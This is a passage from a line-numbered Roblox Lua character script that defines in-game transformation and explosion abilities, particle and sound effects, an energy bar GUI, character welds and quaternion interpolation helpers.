  1346. expart.Transparency = expart.Transparency + 0.0125
  1347. expart2.Transparency = expart2.Transparency + 0.0125
  1348. value = 0.25
  1349. end
  1350. wait()
  1351. end
  1352. plode.Parent = nil
  1353. expart.Parent = nil
  1354. expart2.Parent = nil
  1355. expld.Parent = nil
  1356. end
  1357. local Ultramode = false
  1358.  
  1359. function Transform()
  1360. if basiccooldown >= 5 then
  1361. hum.WalkSpeed = 0
  1362. local sparta = Instance.new("Part",workspace)
  1363. local msher = Instance.new("SpecialMesh",sparta)
  1364. msher.MeshType = "Sphere"
  1365. msher.Scale = vt(1,1,1)
  1366. wit = BrickColor.new("Really black").Color
  1367. local glowz = Instance.new("ParticleEmitter")
  1368. glowz.LightEmission = 1
  1369. glowz.Parent = sparta
  1370. glowz.Texture = "rbxassetid://284205403"
  1371. glowz.Color = ColorSequence.new(wit)
  1372. glowz.Size = NumberSequence.new(15)
  1373. glowz.Speed = NumberRange.new(100,250)
  1374. glowz.LockedToPart = false
  1375. glowz.Transparency = NumberSequence.new(0.75)
  1376. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1377. glowz.Lifetime = NumberRange.new(1)
  1378. glowz.Rate = 50000
  1379. glowz.VelocitySpread = 9001
  1380. local sa2 = Instance.new("Sound",sparta)
  1381. sa2.SoundId = "rbxassetid://93724183"
  1382. sa2.Pitch = 0.5
  1383. sa2.Volume = 5
  1384. sa2.Looped = false
  1385. sa2:Play()
  1386. local saz2 = Instance.new("Sound",sparta)
  1387. saz2.SoundId = "rbxassetid://199145659"
  1388. saz2.Pitch = 0.45
  1389. saz2.Volume = 5*2
  1390. saz2.Looped = false
  1391. local plode = Instance.new("Sound",sparta)
  1392. plode.SoundId = "rbxassetid://153274423"
  1393. plode.Volume = 5
  1394. plode.Pitch = 1
  1395. plode.Looped = false
  1396. local ploder = Instance.new("Sound",sparta)
  1397. ploder.SoundId = "rbxassetid://130972023"
  1398. ploder.Volume = 5
  1399. ploder.Pitch = 1
  1400. ploder.Looped = false
  1401. sparta.Size = vt(1,1,1)
  1402. sparta.BrickColor = BrickColor.new("Really black")
  1403. sparta.Material = "Neon"
  1404. sparta.Transparency = 0
  1405. sparta.Anchored = true
  1406. sparta.CanCollide = false
  1407. sparta.CFrame = tors.CFrame
  1408. sparta.Rotation = vt(0,0,0)
  1409. local value2 = 2
  1410. for i = 0, 24 do
  1411. value2 = value2 - 0.065
  1412. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1413. wait()
  1414. end
  1415. for i = 0, 10 do
  1416. value2 = value2 + 0.06575
  1417. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1418. wait()
  1419. end
  1420. for i = 0, 10 do
  1421. value2 = value2 - 0.2
  1422. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1423. wait()
  1424. end
  1425. for i = 0, 10 do
  1426. value2 = value2 + 0.275
  1427. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1428. wait()
  1429. end
  1430. for i = 0, 10 do
  1431. value2 = value2 - 0.4
  1432. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1433. wait()
  1434. end
  1435. for i = 0, 10 do
  1436. value2 = value2 + 0.475
  1437. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1438. wait()
  1439. end
  1440. for i = 0, 10 do
  1441. value2 = value2 - 0.6
  1442. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1443. wait()
  1444. end
  1445. for i = 0, 10 do
  1446. value2 = value2 + 0.675
  1447. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1448. wait()
  1449. end
  1450. for i = 0, 10 do
  1451. value2 = value2 - 0.7
  1452. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1453. wait()
  1454. end
  1455. for i = 0, 10 do
  1456. value2 = value2 + 0.775
  1457. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1458. wait()
  1459. end
  1460. saz2:Play()
  1461. wait(2.75)
  1462. plode:Play()
  1463. ploder:Play()
  1464. Ultramode = true
  1465. for i = 0, 75 do
  1466. value2 = value2 - 0.0575
  1467. glowz.Rate = 0
  1468. sparta.Transparency = sparta.Transparency + 0.025
  1469. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1470. wait()
  1471. end
  1472. hum.WalkSpeed = 16
  1473. sparta:Destroy()
  1474. end
  1475. end
  1476.  
  1477.  
  1478. function Blaze2()
  1479. if ultcooldown >= 30 then
  1480. local sloc = Instance.new("Part",workspace)
  1481. local msh = Instance.new("SpecialMesh",sloc)
  1482. msh.MeshType = "Sphere"
  1483. sloc.Size = vt(1,1,1)
  1484. sloc.Transparency = 1
  1485. sloc.BrickColor = tors.BrickColor
  1486. sloc.Position = hed.Position + vt(0,0.1,0)
  1487. sloc.CanCollide = false
  1488. sloc.Shape = "Ball"
  1489. sloc.Anchored = true
  1490. sloc.Material = "Neon"
  1491. local s = Instance.new("Sound",char)
  1492. s.SoundId = "rbxassetid://289315275"
  1493. s.Pitch = 1
  1494. s.Volume = 2.75
  1495. s.Looped = false
  1496. s:Play()
  1497. local s2 = Instance.new("Sound",char)
  1498. s2.SoundId = "rbxassetid://671759140"
  1499. s2.Pitch = 0.425
  1500. s2.Volume = 1
  1501. s2.Looped = false
  1502. s2:Play()
  1503. local val = 0.65*5
  1504. for i = 0 , 75 do
  1505. sloc.Transparency = sloc.Transparency - 0.035
  1506. msh.Scale = msh.Scale + vt(val,val,val)
  1507. val = val - 0.0075*5
  1508. wait()
  1509. end
  1510. wait(2)
  1511. local sen = Instance.new("Sound",char)
  1512. sen.SoundId = "rbxassetid://289315275"
  1513. sen.Pitch = 1
  1514. sen.Volume = 2.75
  1515. sen.Looped = false
  1516. sen:Play()
  1517. local tick = Instance.new("Sound",char)
  1518. tick.SoundId = "rbxassetid://446876721"
  1519. tick.Volume = 2.5
  1520. tick.Pitch = 0.5
  1521. tick:Play()
  1522. msh.Scale = msh.Scale - vt(1,1,1)
  1523. sloc.Transparency = sloc.Transparency + 0.015
  1524. local spart = Instance.new("Part",workspace)
  1525. local msh2 = Instance.new("SpecialMesh",spart)
  1526. msh2.MeshType = "Sphere"
  1527. spart.Size = vt(2,2,2)
  1528. spart.Shape = "Ball"
  1529. spart.BrickColor = tors.BrickColor
  1530. spart.Material = "Neon"
  1531. spart.Transparency = 0
  1532. spart.Anchored = false
  1533. msh2.Scale = msh.Scale/2
  1534. spart.Rotation = hed.Rotation
  1535. spart.CanCollide = false
  1536. spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0))
  1537. local bv = Instance.new("BodyVelocity")
  1538. bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
  1539. bv.velocity = mouse.Hit.lookVector * 125
  1540. bv.Parent = spart
  1541. sloc:Destroy()
  1542. wait(0.00001)
  1543. pewdiepie=spart.Touched:connect(function(hit)
  1544. ExplodeMassen(100,spart)
  1545. end)
  1546. wait(5)
  1547. sloc:Destroy()
  1548. tick:Destroy()
  1549. s:Destroy()
  1550. sen:Destroy()
  1551. s2:Destroy()
  1552. end
  1553. if ultcooldown < 1 then
  1554. for i = 0, 29 do
  1555. ultcooldown = ultcooldown + 1
  1556. wait(1)
  1557. end
  1558. end
  1559. end
  1560.  
  1561. function Blaze()
  1562. if ultcooldown >= 30 then
  1563. local ff = Instance.new("ForceField",char)
  1564. local s = Instance.new("Sound",char)
  1565. s.SoundId = "rbxassetid://289315275"
  1566. s.Pitch = 1
  1567. s.Volume = 2.75
  1568. s.Looped = false
  1569. s:Play()
  1570. local s2 = Instance.new("Sound",char)
  1571. s2.SoundId = "rbxassetid://671759140"
  1572. s2.Pitch = 0.425
  1573. s2.Volume = 1
  1574. s2.Looped = false
  1575. s2:Play()
  1576. local spart = boll:Clone()
  1577. local spart2 = shur:Clone()
  1578. local msh = Instance.new("SpecialMesh",spart)
  1579. msh.MeshType = "Sphere"
  1580. spart.Parent = workspace
  1581. spart.Transparency = 1
  1582. spart.Anchored = true
  1583. spart.Position = tors.Position + vt(0,1,0)
  1584. spart.Size = spart.Size + vt(1,1,1)
  1585. for i = 0, 10 do
  1586. spart.BrickColor = tors.BrickColor
  1587. spart.Transparency = spart.Transparency + -0.05
  1588. spart.Position = tors.Position + vt(0,1,0)
  1589. spart.Size = spart.Size + vt(3,3,3)
  1590. wait(0)
  1591. end
  1592. for i = 0, 5 do
  1593. spart.BrickColor = tors.BrickColor
  1594. spart.Transparency = spart.Transparency + -0.05
  1595. spart.Position = tors.Position + vt(0,1,0)
  1596. spart.Size = spart.Size + vt(2.5,2.5,2.5)
  1597. wait(0)
  1598. end
  1599. for i = 0, 5 do
  1600. spart.BrickColor = tors.BrickColor
  1601. spart.Transparency = spart.Transparency + -0.05
  1602. spart.Position = tors.Position + vt(0,1,0)
  1603. spart.Size = spart.Size + vt(1,1,1)
  1604. wait(0)
  1605. end
  1606. for i = 0, 10 do
  1607. spart.BrickColor = tors.BrickColor
  1608. wait(0.1)
  1609. end
  1610. for i = 0, 20 do
  1611. spart.BrickColor = tors.BrickColor
  1612. spart.Transparency = spart.Transparency + 0.05
  1613. spart.Position = tors.Position + vt(0,1,0)
  1614. spart.Size = spart.Size + vt(-5,-5,-5)
  1615. wait(0)
  1616. end
  1617. local sp = spart:Clone()
  1618. sp.Parent = workspace
  1619. sp.Position = spart.Position
  1620. local sp2 = sp:Clone()
  1621. sp2.Parent = workspace
  1622. sp2.Transparency = 0.5
  1623. local msh2 = sp2.Mesh
  1624. msh2.Scale = vt(1250,1250,1250)
  1625. wit = tors.BrickColor.Color
  1626. local glowz = Instance.new("ParticleEmitter")
  1627. glowz.LightEmission = 0.75
  1628. glowz.Parent = sp2
  1629. glowz.Texture = "rbxassetid://284205403"
  1630. glowz.Color = ColorSequence.new(wit)
  1631. glowz.Size = NumberSequence.new(50)
  1632. glowz.Speed = NumberRange.new(425,450)
  1633. glowz.LockedToPart = false
  1634. glowz.Transparency = NumberSequence.new(0.75)
  1635. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1636. glowz.Lifetime = NumberRange.new(1)
  1637. glowz.Rate = 50000
  1638. glowz.VelocitySpread = 9001
  1639. spart2.Parent = workspace
  1640. spart2.Mesh.Scale = vt(25, 90000, 25)
  1641. spart2.Position = tors.Position
  1642. local seen = Instance.new("Sound",char)
  1643. seen.SoundId = "rbxassetid://445796828"
  1644. seen.Pitch = 0.75
  1645. seen.Volume = 1.75
  1646. seen.Looped = true
  1647. seen:Play()
  1648. local sen = Instance.new("Sound",char)
  1649. sen.SoundId = "rbxassetid://289315275"
  1650. sen.Pitch = 0.98
  1651. sen.Volume = 2.65
  1652. sen.Looped = false
  1653. sen:Play()
  1654. local tick = Instance.new("Sound",char)
  1655. tick.SoundId = "rbxassetid://446876721"
  1656. tick.Volume = 5
  1657. tick.Pitch = 0.5
  1658. tick:Play()
  1659. local seena = Instance.new("Sound",char)
  1660. seena.SoundId = "rbxassetid://300916057"
  1661. seena.Pitch = 0.5
  1662. seena.Volume = 2.5
  1663. seena.Looped = false
  1664. seena:Play()
  1665. spart.Transparency = 0
  1666. ExplodeMass(1000,sp)
  1667. for i = 0, 450 do
  1668. spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1))
  1669. sp2.Position = spart.Position
  1670. spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035)
  1671. spart2.BrickColor = tors.BrickColor
  1672. msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5)
  1673. msh.Scale = msh.Scale + vt(50,50,50)
  1674. sp2.Transparency = sp2.Transparency + 0.0005
  1675. spart.Transparency = spart.Transparency + 0.0025
  1676. spart2.Transparency = spart2.Transparency + 0.0025
  1677. wait(0)
  1678. end
  1679. spart:Destroy()
  1680. seena:Destroy()
  1681. ff:Destroy()
  1682. seen:Destroy()
  1683. sen:Destroy()
  1684. tick:Destroy()
  1685. spart2:Destroy()
  1686. s:Destroy()
  1687. sp:Destroy()
  1688. sp2:Destroy()
  1689. s2:Destroy()
  1690. end
  1691. if ultcooldown < 1 then
  1692. for i = 0, 29 do
  1693. ultcooldown = ultcooldown + 1
  1694. wait(1)
  1695. end
  1696. end
  1697. end
  1698.  
  1699. -- sin
  1700. Player=game:GetService("Players").LocalPlayer
  1701. Character=Player.Character
  1702. PlayerGui=Player.PlayerGui
  1703. Backpack=Player.Backpack
  1704. Torso=Character.Torso
  1705. Head=Character.Head
  1706. Humanoid=Character.Humanoid
  1707. m=Instance.new('Model',Character)
  1708. LeftArm=Character["Left Arm"]
  1709. LeftLeg=Character["Left Leg"]
  1710. RightArm=Character["Right Arm"]
  1711. RightLeg=Character["Right Leg"]
  1712. LS=Torso["Left Shoulder"]
  1713. LH=Torso["Left Hip"]
  1714. RS=Torso["Right Shoulder"]
  1715. RH=Torso["Right Hip"]
  1716. Face = Head.face
  1717. Neck=Torso.Neck
  1718. it=Instance.new
  1719. attacktype=1
  1720. vt=Vector3.new
  1721. cf=CFrame.new
  1722. euler=CFrame.fromEulerAnglesXYZ
  1723. angles=CFrame.Angles
  1724. cloaked=false
  1725. necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1726. necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1727. LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
  1728. LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
  1729. RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
  1730. RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
  1731. RootPart=Character.HumanoidRootPart
  1732. RootJoint=RootPart.RootJoint
  1733. RootCF=euler(-1.57,0,3.14)
  1734. attack = false
  1735. attackdebounce = false
  1736. deb=false
  1737. equipped=true
  1738. hand=false
  1739. MMouse=nil
  1740. combo=0
  1741. mana=0
  1742. trispeed=1
  1743. pathtrans=.7
  1744. attackmode='none'
  1745. local idle=0
  1746. local Anim="Idle"
  1747. local Effects={}
  1748. local gun=false
  1749. local shoot=false
  1750. player=nil
  1751. cloak=false
  1752. lightcolor='Bright blue'
  1753.  
  1754. local Color1=BrickColor.new("Crimson")
  1755.  
  1756. local fengui=it("GuiMain")
  1757. fengui.Parent=Player.PlayerGui
  1758. fengui.Name="WeaponGUI"
  1759. local fenframe=it("Frame")
  1760. fenframe.Parent=fengui
  1761. fenframe.BackgroundColor3=Color3.new(255,255,255)
  1762. fenframe.BackgroundTransparency=1
  1763. fenframe.BorderColor3=Color3.new(17,17,17)
  1764. fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0)
  1765. fenframe.Position=UDim2.new(0.4,0,0.1,0)
  1766. local fenbarmana1=it("TextLabel")
  1767. fenbarmana1.Parent=fenframe
  1768. fenbarmana1.Text=" "
  1769. fenbarmana1.BackgroundTransparency=0
  1770. fenbarmana1.BackgroundColor3=Color3.new(0,0,0)
  1771. fenbarmana1.SizeConstraint="RelativeXY"
  1772. fenbarmana1.TextXAlignment="Center"
  1773. fenbarmana1.TextYAlignment="Center"
  1774. fenbarmana1.Position=UDim2.new(0,0,0,0)
  1775. fenbarmana1.Size=UDim2.new(4,0,0.2,0)
  1776. local fenbarmana2=it("TextLabel")
  1777. fenbarmana2.Parent=fenframe
  1778. fenbarmana2.Text=" "
  1779. fenbarmana2.BackgroundTransparency=0
  1780. fenbarmana2.BackgroundColor3=Torso.Color
  1781. fenbarmana2.SizeConstraint="RelativeXY"
  1782. fenbarmana2.TextXAlignment="Center"
  1783. fenbarmana2.TextYAlignment="Center"
  1784. fenbarmana2.Position=UDim2.new(0,0,0,0)
  1785. fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0)
  1786. local fenbarmana3=it("TextLabel")
  1787. fenbarmana3.Parent=fenframe
  1788. fenbarmana3.Text=" "
  1789. fenbarmana3.BackgroundTransparency=0
  1790. fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3)
  1791. fenbarmana3.SizeConstraint="RelativeXY"
  1792. fenbarmana3.TextXAlignment="Center"
  1793. fenbarmana3.TextYAlignment="Center"
  1794. fenbarmana3.Position=UDim2.new(0,0,0,0)
  1795. fenbarmana3.Size=UDim2.new(0,0,0.2,0)
  1796. local fenbarmana4=it("TextLabel")
  1797. fenbarmana4.Parent=fenframe
  1798. fenbarmana4.Text="Energy("..mana..")"
  1799. fenbarmana4.BackgroundTransparency=1
  1800. fenbarmana4.BackgroundColor3=Color3.new(0,0,0)
  1801. fenbarmana4.SizeConstraint="RelativeXY"
  1802. fenbarmana4.TextXAlignment="Center"
  1803. fenbarmana4.TextYAlignment="Center"
  1804. fenbarmana4.Position=UDim2.new(0,0,-0.3,0)
  1805. fenbarmana4.Size=UDim2.new(4,0,0.2,0)
  1806. fenbarmana4.FontSize="Size9"
  1807. fenbarmana4.TextStrokeTransparency=0
  1808. fenbarmana4.TextColor=BrickColor.new("White")
  1809.  
  1810. mouse=Player:GetMouse()
  1811. --save shoulders
  1812. RSH, LSH=nil, nil
  1813. --welds
  1814. RW, LW=Instance.new("Weld"), Instance.new("Weld")
  1815. RW.Name="Right Shoulder" LW.Name="Left Shoulder"
  1816. LH=Torso["Left Hip"]
  1817. RH=Torso["Right Hip"]
  1818. TorsoColor=BrickColor.new("Crimson")
  1819. function NoOutline(Part)
  1820. Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
  1821. end
  1822. player=Player
  1823. ch=Character
  1824. RSH=ch.Torso["Right Shoulder"]
  1825. LSH=ch.Torso["Left Shoulder"]
  1826. --
  1827. RSH.Parent=nil
  1828. LSH.Parent=nil
  1829. --
  1830. RW.Name="Right Shoulder"
  1831. RW.Part0=ch.Torso
  1832. RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)
  1833. RW.C1=cf(0, 0.5, 0)
  1834. RW.Part1=ch["Right Arm"]
  1835. RW.Parent=ch.Torso
  1836. --
  1837. LW.Name="Left Shoulder"
  1838. LW.Part0=ch.Torso
  1839. LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
  1840. LW.C1=cf(0, 0.5, 0)
  1841. LW.Part1=ch["Left Arm"]
  1842. LW.Parent=ch.Torso
  1843.  
  1844.  
  1845. function part(formfactor,parent,reflectance,transparency,brickcolor,name,size)
  1846. local fp=it("Part")
  1847. fp.formFactor=formfactor
  1848. fp.Parent=parent
  1849. fp.Reflectance=reflectance
  1850. fp.Transparency=transparency
  1851. fp.CanCollide=false
  1852. fp.Locked=true
  1853. fp.BrickColor=brickcolor
  1854. fp.Name=name
  1855. fp.Size=size
  1856. fp.Position=Torso.Position
  1857. NoOutline(fp)
  1858. fp.Material="Neon"
  1859. fp:BreakJoints()
  1860. return fp
  1861. end
  1862.  
  1863. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  1864. local mesh=it(Mesh)
  1865. mesh.Parent=part
  1866. if Mesh=="SpecialMesh" then
  1867. mesh.MeshType=meshtype
  1868. if meshid~="nil" then
  1869. mesh.MeshId="http://www.roblox.com/asset/?id="..meshid
  1870. end
  1871. end
  1872. mesh.Offset=offset
  1873. mesh.Scale=scale
  1874. return mesh
  1875. end
  1876.  
  1877. function weld(parent,part0,part1,c0)
  1878. local weld=it("Weld")
  1879. weld.Parent=parent
  1880. weld.Part0=part0
  1881. weld.Part1=part1
  1882. weld.C0=c0
  1883. return weld
  1884. end
  1885.  
  1886. local Color1=BrickColor.new("Crimson")
  1887.  
  1888. local bodvel=Instance.new("BodyVelocity")
  1889. local bg=Instance.new("BodyGyro")
  1890.  
  1891. function swait(num)
  1892. if num==0 or num==nil then
  1893. game:service'RunService'.Stepped:wait(0)
  1894. else
  1895. for i=0,num do
  1896. game:service'RunService'.Stepped:wait(0)
  1897. end
  1898. end
  1899. end
  1900.  
  1901.  
  1902. so = function(id,par,vol,pit)
  1903. coroutine.resume(coroutine.create(function()
  1904. local sou = Instance.new("Sound",par or workspace)
  1905. sou.Volume=vol
  1906. sou.Pitch=pit or 1
  1907. sou.SoundId=id
  1908. swait()
  1909. sou:play()
  1910. game:GetService("Debris"):AddItem(sou,6)
  1911. end))
  1912. end
  1913.  
  1914. function clerp(a,b,t)
  1915. local qa = {QuaternionFromCFrame(a)}
  1916. local qb = {QuaternionFromCFrame(b)}
  1917. local ax, ay, az = a.x, a.y, a.z
  1918. local bx, by, bz = b.x, b.y, b.z
  1919. local _t = 1-t
  1920. return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  1921. end
  1922.  
  1923. function QuaternionFromCFrame(cf)
  1924. local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  1925. local trace = m00 + m11 + m22
  1926. if trace > 0 then
  1927. local s = math.sqrt(1 + trace)
  1928. local recip = 0.5/s
  1929. return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  1930. else
  1931. local i = 0
  1932. if m11 > m00 then
  1933. i = 1
  1934. end
  1935. if m22 > (i == 0 and m00 or m11) then
  1936. i = 2
  1937. end
  1938. if i == 0 then
  1939. local s = math.sqrt(m00-m11-m22+1)
  1940. local recip = 0.5/s
  1941. return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  1942. elseif i == 1 then
  1943. local s = math.sqrt(m11-m22-m00+1)
  1944. local recip = 0.5/s
  1945. return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  1946. elseif i == 2 then
  1947. local s = math.sqrt(m22-m00-m11+1)
  1948. local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  1949. end
  1950. end
  1951. end
  1952.  
  1953. function QuaternionToCFrame(px, py, pz, x, y, z, w)
  1954. local xs, ys, zs = x + x, y + y, z + z
  1955. local wx, wy, wz = w*xs, w*ys, w*zs
  1956. local xx = x*xs
  1957. local xy = x*ys
  1958. local xz = x*zs
  1959. local yy = y*ys
  1960. local yz = y*zs
  1961. local zz = z*zs
  1962. return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  1963. end
  1964.  
  1965. function QuaternionSlerp(a, b, t)
  1966. local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  1967. local startInterp, finishInterp;
  1968. if cosTheta >= 0.0001 then
  1969. if (1 - cosTheta) > 0.0001 then
  1970. local theta = math.acos(cosTheta)
  1971. local invSinTheta = 1/math.sin(theta)
  1972. startInterp = math.sin((1-t)*theta)*invSinTheta
  1973. finishInterp = math.sin(t*theta)*invSinTheta
  1974. else
  1975. startInterp = 1-t
  1976. finishInterp = t
  1977. end
  1978. else
  1979. if (1+cosTheta) > 0.0001 then
  1980. local theta = math.acos(-cosTheta)
  1981. local invSinTheta = 1/math.sin(theta)
  1982. startInterp = math.sin((t-1)*theta)*invSinTheta
  1983. finishInterp = math.sin(t*theta)*invSinTheta
  1984. else
  1985. startInterp = t-1
  1986. finishInterp = t
  1987. end
  1988. end
  1989. return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  1990. end
  1991.  
  1992. function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants
  1993. return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore)
  1994. end
  1995.  
  1996. function SkullEffect(brickcolor,cframe,x1,y1,z1,delay)
  1997. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  1998. prt.Anchored=true
  1999. prt.CFrame=cframe
  2000. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1))
  2001. --http://www.roblox.com/asset/?id=4770560
  2002. game:GetService("Debris"):AddItem(prt,2)
  2003. CF=prt.CFrame
  2004. coroutine.resume(coroutine.create(function(Part,Mesh,TehCF)
  2005. for i=0,1,0.2 do
  2006. wait()
  2007. Part.CFrame=CF*cf(0,0,-0.4)
  2008. end
  2009. for i=0,1,delay do
  2010. wait()
  2011. --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5)
  2012. Mesh.Scale=Mesh.Scale
  2013. end
  2014. for i=0,1,0.1 do
  2015. wait()
  2016. Part.Transparency=i
  2017. end
  2018. Part.Parent=nil
  2019. end),prt,msh,CF)
  2020. end
  2021.  
  2022. function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2023. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2024. prt.Anchored=true
  2025. prt.CFrame=cframe
  2026. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2027. game:GetService("Debris"):AddItem(prt,5)
  2028. coroutine.resume(coroutine.create(function(Part,Mesh)
  2029. for i=0,1,delay do
  2030. wait()
  2031. Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2032. Part.Transparency=i
  2033. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2034. end
  2035. Part.Parent=nil
  2036. end),prt,msh)
  2037. end
  2038.  
  2039. function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  2040. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2041. prt.Anchored=false
  2042. prt.CFrame=cframe
  2043. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2044. local wld=weld(prt,prt,Parent,cframe)
  2045. game:GetService("Debris"):AddItem(prt,5)
  2046. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2047. for i=0,1,delay do
  2048. wait()
  2049. Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe
  2050. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2051. Part.Transparency=i
  2052. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2053. end
  2054. Part.Parent=nil
  2055. end),prt,msh,wld)
  2056. end
  2057.  
  2058. function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  2059. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2060. prt.Anchored=false
  2061. prt.CFrame=cframe
  2062. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2063. local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0))
  2064. game:GetService("Debris"):AddItem(prt,5)
  2065. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2066. for i=0,1,delay do
  2067. wait()
  2068. Weld.C0=euler(i*20,0,0)
  2069. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2070. Part.Transparency=i
  2071. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2072. end
  2073. Part.Parent=nil
  2074. end),prt,msh,wld)
  2075. end
  2076.  
  2077. function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2078. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2079. prt.Anchored=true
  2080. prt.CFrame=cframe
  2081. local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2082. game:GetService("Debris"):AddItem(prt,2)
  2083. coroutine.resume(coroutine.create(function(Part,Mesh)
  2084. for i=0,1,delay do
  2085. wait()
  2086. Part.CFrame=Part.CFrame
  2087. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2088. local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2089. prt2.Anchored=true
  2090. prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2091. local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5))
  2092. game:GetService("Debris"):AddItem(prt2,2)
  2093. coroutine.resume(coroutine.create(function(Part,Mesh)
  2094. for i=0,1,0.1 do
  2095. wait()
  2096. Part.CFrame=Part.CFrame*cf(0,0.5,0)
  2097. end
  2098. Part.Parent=nil
  2099. end),prt2,msh2)
  2100. end
  2101. for i=0,1,delay*2 do
  2102. wait()
  2103. Part.CFrame=Part.CFrame
  2104. Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i)
  2105. end
  2106. Part.Parent=nil
  2107. end),prt,msh)
  2108. end
  2109.  
  2110. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2111. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2112. prt.Anchored=true
  2113. prt.CFrame=cframe
  2114. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2115. game:GetService("Debris"):AddItem(prt,2)
  2116. coroutine.resume(coroutine.create(function(Part,Mesh)
  2117. for i=0,1,delay do
  2118. wait()
  2119. Part.CFrame=Part.CFrame
  2120. Part.Transparency=i
  2121. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2122. end
  2123. Part.Parent=nil
  2124. end),prt,msh)
  2125. end
  2126.  
